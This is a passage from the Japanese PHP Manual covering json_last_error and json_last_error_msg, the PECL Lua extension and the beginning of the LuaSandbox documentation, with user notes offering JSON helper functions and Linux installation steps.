            $key = '"'.addslashes($key).'"';

            // Format the value:
            if( is_array( $value )){
                $value = array_to_json( $value );
            } else if( !is_numeric( $value ) || is_string( $value ) ){
                $value = '"'.addslashes($value).'"';
            }

            // Add to staging array:
            $construct[] = "$key: $value";
        }

        // Then we collapse the staging array into the JSON form:
        $result = "{ " . implode( ", ", $construct ) . " }";

    } else { // If the array is a vector (not associative):

        $construct = array();
        foreach( $array as $value ){

            // Format the value:
            if( is_array( $value )){
                $value = array_to_json( $value );
            } else if( !is_numeric( $value ) || is_string( $value ) ){
                $value = '"'.addslashes($value).'"';
            }

            // Add to staging array:
            $construct[] = $value;
        }

        // Then we collapse the staging array into the JSON form:
        $result = "[ " . implode( ", ", $construct ) . " ]";
    }

    return $result;
}

?>
aangel at spam dot com 07-Feb-2009 05:50
Here is a bit more on creating an iterator to get at those pesky private/protected variables:

<?php
   class Kit implements IteratorAggregate {

    public function __construct($var) {
        if (is_object($var)) {
            // if passed an object, we are cloning
           $this->kitID = $var->kitID;
           $this->kitName = $var->kitName;
           foreach ($var->productArray as $key => $value) {
               $this->productArray[$key] = (array)$value;
           }
        }
    }
   ...
    // Create an iterator because private/protected vars can't
    // be seen by json_encode().
    public function getIterator() {
        $iArray['kitID'] = $this->kitID;
        $iArray['kitName'] = $this->kitName;
        $iArray['productArray'] = (array)$this->productArray;
        return new ArrayIterator($iArray);
    }
}
?>

Calling something like  $t = json_encode($this->getIterator());  will give you almost what you want:
<?php
{"kitID":"Kit_Essentials-Books.txt",
"kitName":"Essential Books",
"productArray":{"0470043601":{"Category":"Food","ASIN":"0470043601"} } }
?>

Notice that the productArray is converted to an object ignoring the cast I put in front, which is not what I wanted. I haven't figured out how to make sure that encodes as an array.

Regardless, bringing that JSON back into an object using json_decode() will give you just a std object, and the only way I've found to get it into the proper object type is to use a constructor that instantiates the object the way it's supposed to be (see __construct($var) above). Like this:
<?php

        $newKit = new Kit(json_decode($t));
?>
Garrett 22-Oct-2008 11:17
A note about json_encode automatically quoting numbers:

It appears that the json_encode function pays attention to the data type of the value. Let me explain what we came across:

We have found that when retrieving data from our database, there are occasions when numbers appear as strings to json_encode which results in double quotes around the values.

This can lead to problems within javascript functions expecting the values to be numeric.

This was discovered when were were retrieving fields from the database which contained serialized arrays. After unserializing them and sending them through the json_encode function the numeric values in the original array were now being treated as strings and showing up with double quotes around them.

The fix: Prior to encoding the array, send it to a function which checks for numeric types and casts accordingly. Encoding from then on worked as expected.
spam.goes.in.here AT gmail.com 08-Aug-2008 11:05
For anyone who has run into the problem of private properties not being added, you can simply implement the IteratorAggregate interface with the getIterator() method. Add the properties you want to be included in the output into an array in the getIterator() method and return it.
umbrae at gmail dot com 10-Jan-2008 10:21
Here's a quick function to pretty-print some JSON. Optimizations welcome, as this was a 10-minute dealie without efficiency in mind:

<?php
// Pretty print some JSON
function json_format($json)
{
    $tab = "  ";
    $new_json = "";
    $indent_level = 0;
    $in_string = false;

    $json_obj = json_decode($json);

    if($json_obj === false)
        return false;

    $json = json_encode($json_obj);
    $len = strlen($json);

    for($c = 0; $c < $len; $c++)
    {
        $char = $json[$c];
        switch($char)
        {
            case '{':
            case '[':
                if(!$in_string)
                {
                    $new_json .= $char . "\n" . str_repeat($tab, $indent_level+1);
                    $indent_level++;
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case '}':
            case ']':
                if(!$in_string)
                {
                    $indent_level--;
                    $new_json .= "\n" . str_repeat($tab, $indent_level) . $char;
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case ',':
                if(!$in_string)
                {
                    $new_json .= ",\n" . str_repeat($tab, $indent_level);
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case ':':
                if(!$in_string)
                {
                    $new_json .= ": ";
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case '"':
                if($c > 0 && $json[$c-1] != '\\')
                {
                    $in_string = !$in_string;
                }
            default:
                $new_json .= $char;
                break;
        }
    }

    return $new_json;
}
?>
dennispopel(at)gmail.com 26-Aug-2007 10:43
Obviously, this function has trouble encoding arrays with empty string keys (''). I have just noticed that (because I was using a function in PHP under PHP4). When I switched to PHP5's json_encode, I noticed that browsers could not correctly parse the encoded data. More investigation maybe needed for a bug report, but this quick note may save somebody several hours.

Also, it manifests on Linux in 5.2.1 (tested on two boxes), on my XP with PHP5.2.3 json_encode() works just great! However, both 5.2.1 and 5.2.3 phpinfo()s show that the json version is 1.2.1 so might be Linux issue


直近の json_encode() や json_decode() の呼び出しのエラー文字列を返す

  • ≪ json_encode
  • json_last_error ≫
  • PHP Manual
  • JSON 関数
  • 直近の json_encode() や json_decode() の呼び出しのエラー文字列を返す

json_last_error_msg

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

json_last_error_msg — 直近の json_encode() や json_decode() の呼び出しのエラー文字列を返す

説明

json_last_error_msg ( ) : string

呼び出しで JSON_THROW_ON_ERROR を指定しなかった場合、 直近の json_encode() または json_decode() 呼び出しの エラー文字列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合にエラーメッセージ、エラーが発生しなかった場合は "No error"

参考

  • json_last_error() - 直近に発生したエラーを返す

User Contributed Notes

Anonymous 03-Jun-2015 09:34
Here's an updated version of the function:

<?php
    if (!function_exists('json_last_error_msg')) {
        function json_last_error_msg() {
            static $ERRORS = array(
                JSON_ERROR_NONE => 'No error',
                JSON_ERROR_DEPTH => 'Maximum stack depth exceeded',
                JSON_ERROR_STATE_MISMATCH => 'State mismatch (invalid or malformed JSON)',
                JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded',
                JSON_ERROR_SYNTAX => 'Syntax error',
                JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded'
            );

            $error = json_last_error();
            return isset($ERRORS[$error]) ? $ERRORS[$error] : 'Unknown error';
        }
    }
?>


直近に発生したエラーを返す

  • ≪ json_last_error_msg
  • Lua ≫
  • PHP Manual
  • JSON 関数
  • 直近に発生したエラーを返す

json_last_error

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

json_last_error — 直近に発生したエラーを返す

説明

json_last_error ( ) : int

JSON_THROW_ON_ERROR を指定していなかった場合に、 直近の JSON エンコード/デコード処理中に発生したエラー (もし存在すれば) を返します。

パラメータ

この関数にはパラメータはありません。

返り値

整数値を返します。これは、次の定数のいずれかとなります。

JSON error codes
定数 | 意味 | 使用可能
JSON_ERROR_NONE | エラーは発生しませんでした |
JSON_ERROR_DEPTH | スタックの深さの最大値を超えました |
JSON_ERROR_STATE_MISMATCH | JSON の形式が無効、あるいは壊れています |
JSON_ERROR_CTRL_CHAR | 制御文字エラー。おそらくエンコーディングが違います |
JSON_ERROR_SYNTAX | 構文エラー |
JSON_ERROR_UTF8 | 正しくエンコードされていないなど、不正な形式の UTF-8 文字 | PHP 5.3.3
JSON_ERROR_RECURSION | エンコード対象の値に再帰参照が含まれています | PHP 5.5.0
JSON_ERROR_INF_OR_NAN | エンコード対象の値に NAN あるいは INF が含まれています。 | PHP 5.5.0
JSON_ERROR_UNSUPPORTED_TYPE | エンコード不可能な型の値が渡されました | PHP 5.5.0
JSON_ERROR_INVALID_PROPERTY_NAME | エンコードできないプロパティ名が渡されました | PHP 7.0.0
JSON_ERROR_UTF16 | おそらく正しくエンコードされていない、不正な UTF-16 文字 | PHP 7.0.0

例

例1 json_last_error() の例

<?php
// 正しい json 文字列
$json[] = '{"Organization": "PHP Documentation Team"}';

// 間違った json 文字列で、構文エラーとなります
// ここでは、クォートに " ではなく ' を使用しています
$json[] = "{'Organization': 'PHP Documentation Team'}";

foreach ($json as $string) {
    echo 'Decoding: ' . $string;
    json_decode($string);

    switch (json_last_error()) {
        case JSON_ERROR_NONE:
            echo ' - No errors';
        break;
        case JSON_ERROR_DEPTH:
            echo ' - Maximum stack depth exceeded';
        break;
        case JSON_ERROR_STATE_MISMATCH:
            echo ' - Underflow or the modes mismatch';
        break;
        case JSON_ERROR_CTRL_CHAR:
            echo ' - Unexpected control character found';
        break;
        case JSON_ERROR_SYNTAX:
            echo ' - Syntax error, malformed JSON';
        break;
        case JSON_ERROR_UTF8:
            echo ' - Malformed UTF-8 characters, possibly incorrectly encoded';
        break;
        default:
            echo ' - Unknown error';
        break;
    }

    echo PHP_EOL;
}
?>

上の例の出力は以下となります。

Decoding: {"Organization": "PHP Documentation Team"} - No errors
Decoding: {'Organization': 'PHP Documentation Team'} - Syntax error, malformed JSON

例2 json_last_error() と json_encode() の組み合わせ

<?php
// 無効な UTF8 シーケンス
$text = "\xB1\x31";

$json  = json_encode($text);
$error = json_last_error();

var_dump($json, $error === JSON_ERROR_UTF8);
?>

上の例の出力は以下となります。

string(4) "null"
bool(true)

例3 json_last_error() と JSON_THROW_ON_ERROR の組み合わせ

<?php
// JSON_ERROR_UTF8 が発生する、不正なUTF8シーケンス
json_encode("\xB1\x31");

// 次の文字列は、JSON error が発生しない
json_encode('okay', JSON_THROW_ON_ERROR);

// グローバルなエラー状態は、直前の json_encode() によって変更されない
var_dump(json_last_error() === JSON_ERROR_UTF8);
?>

上の例の出力は以下となります。

bool(true)

参考

  • json_last_error_msg() - 直近の json_encode() や json_decode() の呼び出しのエラー文字列を返す
  • json_decode() - JSON 文字列をデコードする
  • json_encode() - 値を JSON 形式にして返す

User Contributed Notes

wedge at atlanteans dot net 27-Mar-2018 02:15
here is a small updated version of utf8ize that has the following addition :
* It uses iconv instead of utf8_encode for potentially better result.
* It adds the support of objects variable
* It also update array key value (in a case I met I had to utf8ize the key as well as those were generated from a user input value)

Here is the code.

<?php
    function utf8ize($d) {
        if (is_array($d)) {
            foreach ($d as $k => $v) {
                unset($d[$k]);
        $d[utf8ize($k)] = utf8ize($v);
            }
        } else if (is_object($d)) {
        $objVars = get_object_vars($d);
        foreach($objVars as $key => $value) {
        $d->$key = utf8ize($value);
        }
    } else if (is_string ($d)) {
            return iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($d));
        }
        return $d;
    }
?>
msxcms at bmforum dot com 16-Jun-2017 09:12
use this code with mb_convert_encoding, you can json_encode some corrupt UTF-8 chars

    function safe_json_encode($value, $options = 0, $depth = 512) {
        $encoded = json_encode($value, $options, $depth);
        if ($encoded === false && $value && json_last_error() == JSON_ERROR_UTF8) {
            $encoded = json_encode(utf8ize($value), $options, $depth);
        }
        return $encoded;
    }

    function utf8ize($mixed) {
        if (is_array($mixed)) {
            foreach ($mixed as $key => $value) {
                $mixed[$key] = utf8ize($value);
            }
        } elseif (is_string($mixed)) {
            return mb_convert_encoding($mixed, "UTF-8", "UTF-8");
        }
        return $mixed;
    }
George Dimitriadis 28-Sep-2016 08:27
Just adding this note since I had to code this for the actual values reference.

<?php

echo JSON_ERROR_NONE . ' JSON_ERROR_NONE' . '<br />';
echo JSON_ERROR_DEPTH . ' JSON_ERROR_DEPTH' . '<br />';
echo JSON_ERROR_STATE_MISMATCH . ' JSON_ERROR_STATE_MISMATCH' . '<br />';
echo JSON_ERROR_CTRL_CHAR . ' JSON_ERROR_CTRL_CHAR' . '<br />';
echo JSON_ERROR_SYNTAX . ' JSON_ERROR_SYNTAX' . '<br />';
echo JSON_ERROR_UTF8 . ' JSON_ERROR_UTF8' . '<br />';
echo JSON_ERROR_RECURSION . ' JSON_ERROR_RECURSION' . '<br />';
echo JSON_ERROR_INF_OR_NAN . ' JSON_ERROR_INF_OR_NAN' . '<br />';
echo JSON_ERROR_UNSUPPORTED_TYPE . ' JSON_ERROR_UNSUPPORTED_TYPE' . '<br />';

/*
The above outputs :
0 JSON_ERROR_NONE
1 JSON_ERROR_DEPTH
2 JSON_ERROR_STATE_MISMATCH
3 JSON_ERROR_CTRL_CHAR
4 JSON_ERROR_SYNTAX
5 JSON_ERROR_UTF8
6 JSON_ERROR_RECURSION
7 JSON_ERROR_INF_OR_NAN
8 JSON_ERROR_UNSUPPORTED_TYPE
*/

?>
hemono at gmail dot com 18-Oct-2015 03:02
when json_decode a empty string, PHP7 will trigger an Syntax error:
<?php
json_decode("");
var_dump(json_last_error(), json_last_error_msg());

// PHP 7
int(4)
string(12) "Syntax error"

//  PHP 5
int(0)
string(8) "No error"
praveenscience at gmail dot com 21-Oct-2014 03:17
I used this simple script, flicked from StackOverflow to escape from the function failing:

<?php
    function utf8ize($d) {
        if (is_array($d)) {
            foreach ($d as $k => $v) {
                $d[$k] = utf8ize($v);
            }
        } else if (is_string ($d)) {
            return utf8_encode($d);
        }
        return $d;
    }
?>

Cheers,
Praveen Kumar!
williamprogphp at yahoo dot com dot br 30-Jan-2014 06:32
This is a quite simple and functional trick to validate JSON's strings.

<?php

    function json_validate($string) {
        if (is_string($string)) {
            @json_decode($string);
            return (json_last_error() === JSON_ERROR_NONE);
        }
        return false;
    }
    echo (json_validate('{"test": "valid JSON"}')  ? "It's a JSON" : "NOT is a JSON"); // prints 'It's a JSON'
    echo (json_validate('{test: valid JSON}')  ? "It's a JSON" : "NOT is a JSON"); // prints 'NOT is a JSON' due to missing quotes
    echo (json_validate(array())  ? "It's a JSON" : "NOT is a JSON"); // prints 'NOT is a JSON' due to a non-string argument
?>

Cheers
jimmetry at gmail dot com 23-Nov-2011 09:16
While this can obviously change between versions, the current error codes are as follows:

0 = JSON_ERROR_NONE
1 = JSON_ERROR_DEPTH
2 = JSON_ERROR_STATE_MISMATCH
3 = JSON_ERROR_CTRL_CHAR
4 = JSON_ERROR_SYNTAX
5 = JSON_ERROR_UTF8

I'm only posting these for people who may be trying to understand why specific JSON files are not being decoded. Please do not hard-code these numbers into an error handler routine.


Lua

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • Lua — Lua クラス
    • Lua::assign — PHP 変数を Lua にアサイン
    • Lua::call — Lua 関数を呼び出す
    • Lua::__construct — Lua コンストラクタ
    • Lua::eval — 文字列を Lua コードとして評価
    • Lua::getVersion — getversion 用途
    • Lua::include — Lua スクリプトファイルをパース
    • Lua::registerCallback — PHP 関数を Lua に登録
  • LuaClosure — LuaClosure クラス
    • LuaClosure::__invoke — luaclosure を起動

User Contributed Notes

There are no user contributed notes for this page.


はじめに

「Lua は、パワフル、高速、軽量かつ組み込み可能なスクリプト言語です。」 このエクステンションは、lua インタプリタを組み込み、lua の変数と関数にオブジェクト指向の API を提供します。

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールを使うには Lua をインストールする必要があります。 » Lua ホームページ から取得してください。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/lua.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

Anonymous 23-Aug-2020 08:25
pecl download lua
cd lua-2.0.7
phpize
./configure --with-lua-version=5.3
make
cp modules/lua.so /usr/lib/php/20151012/lua.so

add in PHP.INI:
extension=lua.so
dannosoAT.com 27-Jun-2016 01:27
This worked for my in php7

aptitude install php-pear
aptitude install php7-dev
aptitude reinstall lua5.2
aptitude reinstall liblua5.2-0
aptitude reinstall liblua5.2-dev

cp /usr/include/lua5.2/lua.h /usr/include
sudo ln -s /usr/include/lua*.*/ /usr/include/lua
sudo cp /usr/lib/x86_64-linux-gnu/liblua5.2.a /usr/lib/liblua.a
sudo cp /usr/lib/x86_64-linux-gnu/liblua5.2.so /usr/lib/liblua.so

sudo pecl install lua-2.0.2
rutgerspeksnijder at hotmail dot com 26-Oct-2015 01:07
Ignore my previous note, I forgot to add in where to use the PECL command to install phplua.

Installation on Ubuntu 14.04

"*.*" means version number

Packages to install (sudo apt-get install):
Install php5
Install php-pear
Install php5-dev
Install lua*.*
Install liblua*.*

Create soft link of /usr/include/lua TO /usr/include/lua*.*:
sudo ln -s /usr/include/lua*.*/ /usr/include/lua

Find liblua*.*.so and liblua*.*.a files in /usr/lib.
If they don't exist, they could be in /usr/lib/x86_64-linux-gnu or /usr/lib/i386-linux-gnu depending on OS.

Copy them from that directory into /usr/lib as liblua.so and liblua.a (WITHOUT VERSION NUMBER).

Example:
sudo cp /usr/lib/x86_64-linux-gnu/liblua5.2.a /usr/lib/liblua.a

Now execute the following command (1.1.0 is the version at the time of writing this):
sudo pecl install lua-1.1.0

Add extension=lua.so to php.ini file (could be /etc/php5/(cli/apache)/php.ini)

Hope this helps.
posti at taitavasti dot fi 15-Apr-2013 01:29
Simple guide to install phplua on CentOS 6.3:

Run these commands in terminal as root:

$yum install php-pear php-devel gcc lua-devel lua-static
$mkdir /usr/include/lua
$ln -s /usr/include/lua.h /usr/include/lua/lua.h
$pecl install lua-1.0.0

Then edit /etc/php.ini and add the following line below the similar ones:
extension=lua.so

Finally restart your web server and you should be all done!

I spent days googling around, trying and failing and gathering up what needs to be installed when you just have apache2 and php5 installed and working.

Thus there is this bug preventing pecl from finding lua.h, which is fixed by the symlink created above. The bug is already submitted:

https://bugs.php.net/bug.php?id=60641

Hope this info helps some body else too!


Lua クラス

(PECL lua >=0.9.0)

はじめに

クラス概要

Lua {
/* 定数 */
const string LUA_VERSION = Lua 5.1.4 ;
/* メソッド */
public assign ( string $name , string $value ) : mixed
public call ( callable $lua_func , array $args = ? , int $use_self = 0 ) : mixed
public __call ( callable $lua_func , array $args = ? , int $use_self = 0 ) : mixed
public __construct ( string $lua_script_file = NULL )
public eval ( string $statements ) : mixed
public getVersion ( ) : string
public include ( string $file ) : mixed
public registerCallback ( string $name , callable $function ) : mixed
}

定義済み定数

Lua::LUA_VERSION

目次

  • Lua::assign — PHP 変数を Lua にアサイン
  • Lua::call — Lua 関数を呼び出す
  • Lua::__construct — Lua コンストラクタ
  • Lua::eval — 文字列を Lua コードとして評価
  • Lua::getVersion — getversion 用途
  • Lua::include — Lua スクリプトファイルをパース
  • Lua::registerCallback — PHP 関数を Lua に登録

User Contributed Notes

There are no user contributed notes for this page.


PHP 変数を Lua にアサイン

  • ≪ Lua
  • Lua::call ≫
  • PHP Manual
  • Lua
  • PHP 変数を Lua にアサイン

Lua::assign

(PECL lua >=0.9.0)

Lua::assign — PHP 変数を Lua にアサイン

説明

public Lua::assign ( string $name , string $value ) : mixed

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

value

返り値

$this、あるいは失敗した場合に null を返します。

例

例1 Lua::assign()の例

<?php
$lua = new Lua();
$lua->assign("php_var", array(1=>1, 2, 3)); //lua table index begin with 1
$lua->eval(<<<CODE
    print(php_var);
CODE
);
?>

上の例の出力は以下となります。

Array
 (
     [1] => 1
     [2] => 2
     [3] => 3
 )

User Contributed Notes

There are no user contributed notes for this page.


Lua 関数を呼び出す

  • ≪ Lua::assign
  • Lua::__construct ≫
  • PHP Manual
  • Lua
  • Lua 関数を呼び出す

Lua::call

Lua::__call

(PECL lua >=0.9.0)

Lua::call -- Lua::__call — Lua 関数を呼び出す

説明

public Lua::call ( callable $lua_func , array $args = ? , int $use_self = 0 ) : mixed
public Lua::__call ( callable $lua_func , array $args = ? , int $use_self = 0 ) : mixed

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

lua_func

lua での関数名

args

Lua 関数に渡される引数

use_self

self を使うか否か

返り値

呼び出した関数の結果を返します。引数が間違っている場合は null、 それ以外のエラーの場合は false を返します。

例

例1 Lua::call()の例

<?php
$lua = new Lua();
$lua->eval(<<<CODE
    function dummy(foo, bar)
        print(foo, ",", bar)
    end
CODE
);
$lua->call("dummy", array("Lua", "geiliable\n"));
$lua->dummy("Lua", "geiliable"); // __call()
var_dump($lua->call(array("table", "concat"), array(array(1=>1, 2=>2, 3=>3), "-")));
?>

上の例の出力は以下となります。

Lua,geiliable
Lua,geiliable
string(5) "1-2-3"

参考

  • __call()

User Contributed Notes

There are no user contributed notes for this page.


Lua コンストラクタ

  • ≪ Lua::call
  • Lua::eval ≫
  • PHP Manual
  • Lua
  • Lua コンストラクタ

Lua::__construct

(PECL lua >=0.9.0)

Lua::__construct — Lua コンストラクタ

説明

public Lua::__construct ( string $lua_script_file = NULL )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

lua_script_file

返り値

User Contributed Notes

There are no user contributed notes for this page.


文字列を Lua コードとして評価

  • ≪ Lua::__construct
  • Lua::getVersion ≫
  • PHP Manual
  • Lua
  • 文字列を Lua コードとして評価

Lua::eval

(PECL lua >=0.9.0)

Lua::eval — 文字列を Lua コードとして評価

説明

public Lua::eval ( string $statements ) : mixed

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

statements

返り値

コードを評価した結果を返します。引数が間違っている場合は null、 それ以外のエラーの場合は false を返します。

例

例1 Lua::eval()の例

<?php
$lua = new Lua();
$lua->eval(<<<CODE
    print(2);
CODE
);
?>

上の例の出力は以下となります。

2

User Contributed Notes

There are no user contributed notes for this page.


getversion 用途

  • ≪ Lua::eval
  • Lua::include ≫
  • PHP Manual
  • Lua
  • getversion 用途

Lua::getVersion

(PECL lua >=0.9.0)

Lua::getVersion — getversion 用途

説明

public Lua::getVersion ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

Lua::LUA_VERSION を返します。

User Contributed Notes

There are no user contributed notes for this page.


Lua スクリプトファイルをパース

  • ≪ Lua::getVersion
  • Lua::registerCallback ≫
  • PHP Manual
  • Lua
  • Lua スクリプトファイルをパース

Lua::include

(PECL lua >=0.9.0)

Lua::include — Lua スクリプトファイルをパース

説明

public Lua::include ( string $file ) : mixed

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

file

返り値

インクルードしたコードの結果を返します。引数が間違っている場合は null、 それ以外のエラーの場合は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


PHP 関数を Lua に登録

  • ≪ Lua::include
  • LuaClosure ≫
  • PHP Manual
  • Lua
  • PHP 関数を Lua に登録

Lua::registerCallback

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Lua::registerCallback — PHP 関数を Lua に登録

説明

public Lua::registerCallback ( string $name , callable $function ) : mixed

PHP 関数を Lua に "$name" という関数として登録します。

パラメータ

name

function

有効な PHP 関数コールバック

返り値

$this を返します。引数が間違っている場合は null、 それ以外のエラーの場合は false を返します。

例

例1 Lua::registerCallback()の例

<?php
$lua = new Lua();
$lua->registerCallback("echo", "var_dump");
$lua->eval(<<<CODE
    echo({1, 2, 3});
CODE
);
?>

上の例の出力は以下となります。

array(3) {
  [1]=>
  float(1)
  [2]=>
  float(2)
  [3]=>
  float(3)
}

User Contributed Notes

turn_and_turn at sina dot com 31-Jan-2020 12:10
// init lua
$lua = new Lua();

/**
* Hello world method
*/
function helloWorld()
{
    return "hello world";
}

// register our hello world method
$lua->registerCallback("helloWorld", helloWorld);
$lua->eval("
    -- call php method
    local retVal = helloWorld()

    print(retVal)
");

// register our hello world method but using an other name
$lua->registerCallback("worldHello", helloWorld);

// run our lua script
$lua->eval("
    -- call php method
    local retVal = worldHello()

    print(retVal)
");


LuaClosure クラス

(PECL lua >=0.9.0)

はじめに

LuaClosure は、Lua 関数呼び出しから返されることがありえる LUA_TFUNCTION に対するラッパー・クラスです。

クラス概要

LuaClosure {
/* メソッド */
public __invoke ( mixed ...$args ) : void
}

目次

  • LuaClosure::__invoke — luaclosure を起動

User Contributed Notes

There are no user contributed notes for this page.


luaclosure を起動

  • ≪ LuaClosure
  • LuaSandbox ≫
  • PHP Manual
  • LuaClosure
  • luaclosure を起動

LuaClosure::__invoke

(PECL lua >=0.9.0)

LuaClosure::__invoke — luaclosure を起動

説明

public LuaClosure::__invoke ( mixed ...$args ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

args

返り値

例

例1 LuaClosure::__invoke()の例

<?php
$lua = new Lua();
$closure = $lua->eval(<<<CODE
    return (function ()
        print("hello world")
    end)
CODE
);

$lua->call($closure);
/* PHP 5.3 以降 */
$closure();
?>

上の例の出力は以下となります。

hello worldhello world

User Contributed Notes

There are no user contributed notes for this page.


LuaSandbox

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • Differences from Standard Lua
  • 例
    • Basic usage for LuaSandbox
  • LuaSandbox — The LuaSandbox class
    • LuaSandbox::callFunction — Call a function in a Lua global variable
    • LuaSandbox::disableProfiler — Disable the profiler
    • LuaSandbox::enableProfiler — Enable the profiler.
    • LuaSandbox::getCPUUsage — Fetch the current CPU time usage of the Lua environment
    • LuaSandbox::getMemoryUsage — Fetch the current memory usage of the Lua environment
    • LuaSandbox::getPeakMemoryUsage — Fetch the peak memory usage of the Lua environment
    • LuaSandbox::getProfilerFunctionReport — Fetch profiler data
    • LuaSandbox::getVersionInfo — Return the versions of LuaSandbox and Lua
    • LuaSandbox::loadBinary — Load a precompiled binary chunk into the Lua environment
    • LuaSandbox::loadString — Load Lua code into the Lua environment
    • LuaSandbox::pauseUsageTimer — Pause the CPU usage timer
    • LuaSandbox::registerLibrary — Register a set of PHP functions as a Lua library
    • LuaSandbox::setCPULimit — Set the CPU time limit for the Lua environment
    • LuaSandbox::setMemoryLimit — Set the memory limit for the Lua environment
    • LuaSandbox::unpauseUsageTimer — Unpause the timer paused by LuaSandbox::pauseUsageTimer
    • LuaSandbox::wrapPhpFunction — Wrap a PHP callable in a LuaSandboxFunction
  • LuaSandboxFunction — The LuaSandboxFunction class
    • LuaSandboxFunction::call — Call a Lua function
    • LuaSandboxFunction::__construct — Unused
    • LuaSandboxFunction::dump — Dump the function as a binary blob
  • LuaSandboxError — The LuaSandboxError class
  • LuaSandboxErrorError — The LuaSandboxErrorError class
  • LuaSandboxFatalError — The LuaSandboxFatalError class
  • LuaSandboxMemoryError — The LuaSandboxMemoryError class
  • LuaSandboxRuntimeError — The LuaSandboxRuntimeError class
  • LuaSandboxSyntaxError — The LuaSandboxSyntaxError class
  • LuaSandboxTimeoutError — The LuaSandboxTimeoutError class

User Contributed Notes

There are no user contributed notes for this page.


はじめに

LuaSandbox is an extension for PHP 5, PHP 7, and HHVM to allow safely running untrusted Lua 5.1 code from within PHP.

Differences compared to the Lua extension:

  • LuaSandbox has support for time and memory limits.

  • LuaSandbox provides a default-safe environment for running untrusted code. Stock Lua functions were reviewed for security, and several were patched accordingly.

  • LuaSandbox has a PHP interface which is more complex, precise and powerful, but it is less convenient for developers.

  • LuaSandbox supports only Lua 5.1. It is difficult to change this, because LuaSandbox uses heavily modified Lua standard libraries, and due to the lack of backwards compatibility between major Lua versions. LuaSandbox aims to maximise backwards compatibility with user-supplied scripts.

User Contributed Notes

There are no user contributed notes for this page.


要件

To use this extension, Lua 5.1 will need to be installed, available on the » Lua homepage.

To make full use of the timer features, LuaSandbox should be installed on Linux.

If FreeBSD or Mac OS X is used, only real (wall-clock) time is supported, the functions purporting to return CPU time will actually return wall clock time.

If Windows is used, no timer functions will be supported. The time limits will be inoperable.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/luasandbox.

If the operating system is Debian 9 or later, or Ubuntu 18.04 or later, then LuaSandbox should typically be installed from the package php-luasandbox:

sudo apt-get install php-luasandbox

Debian 9 users may need to add

deb http://ftp.debian.org/debian stretch-backports main
to their » sources.list.

User Contributed Notes

There are no user contributed notes for this page.


Differences from Standard Lua

LuaSandbox provides a sandboxed environment which differs in some ways from standard Lua 5.1.

Features that are not available

  • dofile(), loadfile(), and the io package, as they allow direct filesystem access. If needed, filesystem access should be done via PHP callbacks.

  • The package package, including require() and module(), as it depends heavily on direct filesystem access. A pure-Lua rewrite such as that used in the MediaWiki Scribunto extension may be used instead.

  • load() and loadstring(), to allow for static analysis of Lua code.

  • print(), since it outputs to standard output. If needed, output should be done via PHP callbacks.

  • Most of the os package, as it allows manipulation of the process and executing of other processes.

    • os.clock(), os.date(), os.difftime(), and os.time() remain available.

  • Most of the debug package, as it allows manipulation of Lua state and metadata in ways that can break sandboxing.

    • debug.traceback() remains available.

  • string.dump(), as it may expose internal data.

  • collectgarbage(), gcinfo(), and the coroutine package have not been reviewed for security.

Features that have been modified

  • pcall() and xpcall() cannot catch certain errors, particularly timeout errors.

  • tostring() does not include pointer addresses.

  • string.match() has been patched to limit the recursion depth and to periodically check for a timeout.

  • math.random() and math.randomseed() are replaced with versions that don't share state with PHP's rand().

  • The Lua 5.2 __pairs and __ipairs metamethods are supported by pairs() and ipairs().

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • Basic usage for LuaSandbox

User Contributed Notes

There are no user contributed notes for this page.


Basic usage for LuaSandbox

Once you've compiled PHP with LuaSandbox support, you can begin using LuaSandbox to safely run user-provided Lua code.

例1 Execute some Lua code

<?php

$sandbox = new LuaSandbox;
$sandbox->setMemoryLimit( 50 * 1024 * 1024 );
$sandbox->setCPULimit( 10 );

// Register some functions in the Lua environment

function frobnosticate( $v ) {
    return [ $v + 42 ];
}

$sandbox->registerLibrary( 'php', [
    'frobnosticate' => 'frobnosticate',
    'output' => function ( $string ) {
        echo "$string\n";
    },
    'error' => function () {
        throw new LuaSandboxRuntimeError( "Something is wrong" );
    }
] );

// Execute some Lua code, including callbacks into PHP and into Lua

$luaCode = <<<EOF
php.output( "Hello, world" );

return "Hi", function ( v )
    return php.frobnosticate( v + 200 )
end
